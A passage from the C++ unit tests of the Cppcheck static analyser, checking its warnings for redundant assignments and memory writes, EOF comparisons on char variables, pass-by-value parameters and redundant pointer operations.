aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, 